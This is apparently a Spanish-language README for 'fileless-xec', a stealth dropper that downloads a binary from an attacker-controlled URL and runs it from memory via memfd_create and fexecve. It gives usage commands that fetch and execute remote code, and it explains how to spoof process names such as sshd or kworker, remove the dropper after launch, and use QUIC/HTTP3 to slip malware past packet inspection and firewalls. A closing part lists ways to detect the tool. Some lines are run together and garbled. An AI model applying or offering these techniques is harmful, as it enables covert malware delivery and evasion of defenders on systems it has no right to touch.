
Dropper sigiloso que ejecuta binarios remotos sin descargarlos en disco. (Soporte HTTP3, soporte ICMP, rastros invisibles, multiplataforma, ...)

👋 Ciertamente útil, principalmente por diversión, aproximadamente inspirado por el artículo de 0x00 artículo
Uso en pentest: fileless-xec se utiliza en la máquina objetivo para ejecutar sigilosamente un archivo binario ubicado en la máquina del atacante
fileless-xec nos permite ejecutar un binario remoto en una máquina local directamente desde la memoria sin descargarlo en el disco
fileless-xec [binary_url] (~curl | sh para binarios)fileless-xec -n /usr/sbin/sshd [binary_url]tty: fileless-xec --setsid [...]
writeNsleep ubicado en una máquina remota.
Primero iniciamos un servidor HTTP de Python en la remota.
Localmente usamos fileless-xec y suplantamos el nombre /usr/sbin/sshd para la ejecución del binario writeNsleep (por sigilo y diversión). Una vez que writeNsleep arranca, fileless-xec se elimina a sí mismo (--self-remove)
fileless-xecfileless-xec
fileless-xec en Windowsfileless-xec se elimina a sí mismo una vez lanzadoEl archivo binario remoto se almacena localmente mediante la llamada al sistema memfd_create, que lo guarda en un disco de memoria que no está asignado en el sistema de archivos (es decir, no puedes encontrarlo usando ls).
Nota: la llamada al sistema memfd_create no existe en macOS.
Luego lo ejecutamos usando la llamada al sistema fexecve (ya que actualmente no está proporcionada por la biblioteca syscall de Go, la implementamos).
Con
fexecvepodemos ejecutar un programa, pero referenciamos el programa a ejecutar usando un descriptor de archivo, en lugar de la ruta completa.
|
Habilítalo con el flag `-Q`/`http3`. Puedes configurar un servidor ligero de rootfs web que soporte http3 ejecutando `go run ./test/http3/light-server.go -p LISTENING PORT` (Este es el equivalente http3 de `python3 -m http.server `) usa `test/http3/genkey.sh` para generar certificado y clave. |
QUIC UDP, también conocido como http3, es un protocolo de Internet de nueva generación que acelera las aplicaciones web en línea que son susceptibles a demoras, como búsquedas, transmisión de video, etc., al reducir el tiempo de ida y vuelta (RTT) necesario para conectarse a un servidor.
Debido a que QUIC utiliza cifrado propietario equivalente a TLS (esto cambiará en el futuro con una versión estandarizada), los firewalls de tercera generación que proporcionan control y visibilidad de aplicaciones encuentran dificultades para controlar y monitorear el tráfico QUIC.
Si realmente usas fileless-xec como un dropper (Solo con fines de prueba o con autorización), probablemente quieras ejecutar algún tipo de malware u otro archivo que pueda ser detectado mediante análisis de paquetes. Por lo tanto, con QUIC habilitado podrías evadir el análisis de paquetes y DESCARGAR un malware.
Además, en caso de que el firewall solo se use para permitir/bloquear tráfico, podría suceder que las reglas del firewall olviden el protocolo UDP, haciendo que tus solicitudes pasen desapercibidas
Aunque no esté presente en el disco de memoria, el programa en ejecución aún puede ser detectado usando el comando ps, por ejemplo.
fileless-xec --name <nombre_falso> <binary_raw_url> por defecto el nombre es [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
Aún podrías ser detectado con:
$ lsof | grep memfd
O también con opensnoop (pero no con execsnoop)
O con un perfil seccomp que audite la llamada al sistema execve (pero es muy abrumador, ya que un comando como sleep también usa execve, por ejemplo)